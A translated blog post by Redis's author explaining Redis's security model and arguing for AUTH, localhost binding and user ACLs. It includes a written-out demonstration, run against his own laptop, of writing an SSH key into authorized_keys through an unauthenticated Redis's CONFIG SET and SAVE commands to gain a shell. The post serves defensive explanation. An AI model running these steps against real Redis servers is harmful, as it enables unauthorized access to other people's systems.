關於 Redis 安全性的幾件事
原文由 Salvatore Sanfilippo 于 發布,訂閱此部落格
重要編輯:Redis 3.2 透過實作保護模式(protected mode)改善了安全性。詳細資訊請見此處:https://www.reddit.com/r/redis/comments/3zv85m/new_security_feature_redis_protected_mode/
我不時會收到關於 Redis 的安全性回報。收到回報是好事,但奇怪的是,我收到的通常是關於 Lua 沙箱逃逸、不安全的暫存檔建立以及類似問題的回報,而這套軟體的設計理念(如同我們在此安全性頁面 http://redis.io/topics/security 中所說明的)本來就是一旦暴露在外部世界就完全不安全。
不過這些錯誤回報往往還是有用的,因為任何軟體一般而言、特別是 Redis,安全性都有不同的層次。當你已經能存取資料庫時,你能做的究竟只是修改資料庫本身的內容,還是能進一步攻陷執行 Redis 的本機系統?
一個安全性層級在系統中有多重要,取決於它的安全模型。這個系統的設計是否預期會有不受信任的使用者來存取,就像網頁伺服器那樣?是否針對不同種類的使用者有不同的授權等級?
Redis 的安全模型是:「讓不受信任的客戶端存取系統是完全不安全的,請你自行將它與外部世界隔離保護」。原因是,基本上 99.99% 的 Redis 使用情境都是在沙箱化的環境內。安全性是很複雜的,加入安全性功能會增加複雜度。為了 0.01% 的使用情境而增加複雜度並不划算,但這是設計哲學的問題,所以你當然可以不同意。
問題在於,無論我們在安全性頁面上怎麼說明,仍然有大量 Redis 實例在無意間暴露於網際網路上。不是因為使用情境需要讓外部客戶端存取 Redis,而是因為根本沒人費心透過防火牆、啟用 AUTH、或是如果只有本地客戶端需要存取就綁定到 127.0.0.1 等方式,來保護該 Redis 實例免於外部存取。
來把 Redis 駭給你看——純屬好玩,反正我是這東西的開發者也撈不到什麼好處
為了用一種殘酷的方式展示 Redis 的「安全模型」,我做了一個五分鐘的快速實驗。在我們的安全性頁面上,我們暗示了如果 Redis 被暴露會有的嚴重問題。你可以看到這樣寫道:「然而,透過 CONFIG 指令控制伺服器設定的能力,讓客戶端得以變更程式的工作目錄與傾印檔案的名稱。這使得客戶端能在任意路徑寫入 RDB Redis 檔案,這是一個安全性問題,很容易就會導致能夠以與 Redis 相同的使用者身分執行不受信任的程式碼」。
所以我的實驗如下:我在我的 MacBook Air 上跑一個 Redis 實例,完全不更動電腦目前的設定。然後從另一台主機,我的目標是攻陷我的筆電。
首先,來檢查我是否能存取該實例,這是前提:
$ telnet 192.168.1.11 6379 Trying 192.168.1.11... Connected to 192.168.1.11. Escape character is '^]'. echo "Hey no AUTH required!" $21 Hey no AUTH required! quit +OK Connection closed by foreign host.
成功了,而且不需要 AUTH。Redis 在沒有設定密碼的情況下就是毫無保護,諸如此類。在這種情況下你能做的最簡單的事,就是寫入任意檔案。猜怎麼著?我的 MacBook Air 剛好有在跑 SSH 伺服器。那試試看把東西寫進 ~/ssh/authorized_keys 來取得存取權限如何?
先來產生一把新的 SSH 金鑰:
$ ssh-keygen -t rsa -C "[email protected]" Generating public/private rsa key pair. Enter file in which to save the key (/home/antirez/.ssh/id_rsa): ./id_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./id_rsa. Your public key has been saved in ./id_rsa.pub. The key fingerprint is: f0:a1:52:e9:0d:5f:e4:d9:35:33:73:43:b4:c8:b9:27 [email protected] The key's randomart image is: +--[ RSA 2048]----+ | . O+.| | . o o..o*o| | = . + .+ . | | o B o . | | . o S E . | | . o | | | | | | | +-----------------+
現在我有一把金鑰了。我的目標是先把它放進 Redis 伺服器的記憶體裡,之後再轉存成檔案,並讓最終產生的 authorized_keys 檔案仍然是有效的。用 RDB 格式來做這件事的問題在於,輸出會是二進位檔,理論上還可能會壓縮字串。但好吧,或許這不是問題。首先,讓我們在剛產生的公開 SSH 金鑰內容前後加上換行來填補:
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
現在 foo.txt 就只是我們的公開金鑰加上換行。我們可以用 redis-cli 把這個字串寫進 Redis 的記憶體裡:
~~~~~~~~~~~~~~~~~~~
注意:以下步驟已做了些微修改,以避免腳本小子直接複製貼上進行攻擊,因為從這個攻擊手法公開的那一刻起,全球就有好幾個 Redis 實例遭到入侵。
~~~~~~~~~~~~~~~~~~~
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dbfilename "backup.rdb" OK 192.168.1.11:6379> save OK (Ctrl+C) $ redis-cli -h 192.168.1.11 echo flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
看起來不錯。要怎麼把我們記憶體裡的內容傾印到 authorized_keys 檔案呢?這其實有點簡單。
$ redis-cli -h 192.168.1.11 192.168.1.11:6379> config set dir /Users/antirez/.ssh/ OK 192.168.1.11:6379> config get dir 1) "dir" 2) "/Users/antirez/.ssh" 192.168.1.11:6379> config set dbfilename "authorized.keys" OK 192.168.1.11:6379> save OK
到了這個時候,目標的 authorized keys 檔案應該充滿了垃圾資料,但同時也應該包含了我們的公開金鑰。這個字串沒有簡單的重複模式,所以不太可能在 RDB 檔案內被壓縮。ssh 會不會天真到毫無障礙地解析一個完全毀損的檔案,並接受裡面唯一正常的項目呢?
$ ssh -i id_rsa [email protected] Enter passphrase for key 'id_rsa': Last login: Mon Nov 2 15:58:43 2015 from 192.168.1.10 ~ ➤ hostname Salvatores-MacBook-Air.local
會的。我在大概五秒內就成功以 Redis 使用者的身分取得了存取權,拿到了一個正常的 shell。這全拜一個毫無保護的 Redis 實例所賜,它基本上就是一個隨選寫檔的伺服器,而在這個案例中,則是因為 ssh 不夠嚴謹,沒有拒絕一個除了單一一筆正常資料外全是毀損金鑰的檔案。然而,ssh 並不是這裡的問題,一旦你能寫入檔案,就算裡面混雜著二進位的垃圾資料,也只是時間問題,遲早會用某種方式取得系統的存取權。
該怎麼修復這堆爛攤子?
我們說 Redis 如果暴露在外就是不安全的,而 Redis 的安全模型就是只允許經過授權且受信任的客戶端存取。但不幸的是,這樣還不夠。使用者仍然會在毫無保護的情況下執行它,更糟的是,要讓 Redis 更能抵禦部署錯誤而變得更安全,和要讓 Redis 對那些只是在開發環境或安全的內部環境中使用、根本不需要限制的人來說保持易用,這兩者之間存在著張力。
舉個例子。新版的 Redis 所附的範例 redis.conf 預設是「bind 127.0.0.1」。如果你不帶任何參數啟動伺服器,它仍然會綁定所有介面,因為我不想去煩那些很可能只是為了開發而跑 Redis 的使用者。為了只替那些根本不在乎的人贏得一點點安全性,就得要求他們重新設定一個範例伺服器才能允許來自其他主機的連線,這代價有點太大了。不過,許多使用者當作設定範本的範例 redis.conf,預設是綁定 localhost 介面。希望這樣能減少一些部署上的錯誤。
然而這些措施並不是很有效,因為不幸的是,大多數沒有安全意識的使用者在發現綁定 127.0.0.1 會阻擋外部客戶端連線後,會做的就是直接把 bind 那一行刪掉然後重新啟動。於是我們又回到了不安全的設定。
基本上,問題在於要在以下三件事之間找到折衷:
- 讓懂自己在做什麼的人能毫無困擾地使用 Redis。
- 讓不懂自己在做什麼的人所用的 Redis 沒那麼不安全。
- 我因為「去讀手冊吧(RTFM)」而偏向「1」而非「2」。
用使用者 ACL 來緩解這個問題
要為 Redis 與外部世界「隔離」的概念增加備援,一種方式是使用 AUTH 指令。非常簡單,你設定 Redis 要求輸入密碼,客戶端再透過 AUTH 指令使用設定好的密碼來驗證。機制很單純:密碼不會經過雜湊,而是以明文形式寫在設定檔和應用程式裡,所以就像是一組共享的密鑰。
雖然這無法抵禦竊聽你 TCP 連線或入侵你應用程式伺服器的人,但對於那種把毫無保護的 Redis 實例丟在網際網路上的明顯錯誤來說,它是一道有效的安全防護層。
關於 AUTH,有幾點說明:
- 你可以把 Redis 當作 oracle 每秒嘗試大量密碼,但密碼不需要靠人腦去記,只要放在 Redis 設定檔和客戶端設定裡就好,所以請選一個非常長的密碼,讓它不可能被暴力破解。
- AUTH 是在建立連線時發送的,而大多數正常的應用程式都會使用持續性連線,所以付出的成本非常小。它也是一個執行極快的指令,就像 GET 或 SET 一樣,不會觸及磁碟或其他外部系統。
- 即使在隔離良好的環境中,它也是一道很好的保護層。因為一個不小心,實例就可能暴露出來,就算不是暴露到網際網路,至少也會暴露給那些本不該與它通訊的客戶端。
或許演進 AUTH 是獲得更高安全性的正確道路,所以前陣子我發表了一份在 Redis 中加入「真正使用者」的提案:https://github.com/redis/redis-rcp/blob/master/RCP1.md
這個提案基本上是加入了帶有 ACL 的使用者。它在運作方式和執行速度上與 AUTH 非常相似,但不同使用者擁有不同的權限。舉例來說,一般使用者預設無法存取管理指令,所以對他們來說就沒有「CONFIG SET dir」這回事,也就不會出現像上面那樣的漏洞。
預設使用者仍然可以執行一般指令(所以大家寄給我關於 Lua 沙箱的修補程式,而且我也已經套用,確實非常有用),而必須另外設定一個 admin 使用者才能使用管理指令。不過,為了讓 Redis 更友善,我們可以做的是永遠保留一個密碼為空的「admin」使用者,只要連線來自 loopback 介面就接受(但應該也要能關閉這個功能)。
ACL 雖然不完美,但有其一定的優勢。當 Redis 以正確的方式、透過 SSL 代理暴露到網際網路時,多一層存取控制是非常有用的。即使沒有使用 SSL,因為只有本地客戶端,以更細緻的控制來保護客戶端能做什麼也有諸多好處。舉例來說,它可以防範程式設計或管理上的錯誤:可以不允許一般使用者執行 FLUSHALL 和 FLUSHDB,用於 Redis 監控服務的客戶端則會使用一個只允許少數特定指令的使用者,諸如此類。
那些不在乎保護自己實例的使用者,仍然會有一個可從外部存取的資料庫,但因為沒有可用的管理指令,從資料庫內所含資料的角度來看仍然是不安全的,但從執行 Redis 實例的系統角度來看則安全多了。
基本上,要同時達到讓 Redis 預設就對使用者友善,又能抵禦使用者將實例綁定到公開 IP 位址所犯下的重大安全性錯誤,這個目標是不可能實現的。然而,修復 API 中可能讓不受信任的程式碼以與 Redis 行程相同權限執行的錯誤、提供更保守的預設設定,以及實作帶有 ACL 的多使用者機制,或許能在不大影響那些知道自己在做什麼的一般 Redis 使用者體驗的情況下,改善目前 Redis 安全性的現況。
此外,ACL 還有一項優勢,就是能讓應用程式開發者建立符合應用程式邏輯中特定客戶端實際權限範圍的使用者,讓錯誤比較不容易釀成大問題。
即使是這樣一層簡單的安全機制,其缺點在於會增加複雜度,特別是在複寫、Redis Sentinel 以及其他在這個新環境下都必須具備驗證意識才能良好運作的系統中。不過,這恐怕是一項必須逐步完成的工作。
Hacker News:https://news.ycombinator.com/item?id=10537852
Reddit:https://www.reddit.com/r/redis/comments/3rby8c/a_few_things_about_redis_security/
隨機一篇部落格
留言
登入後參與討論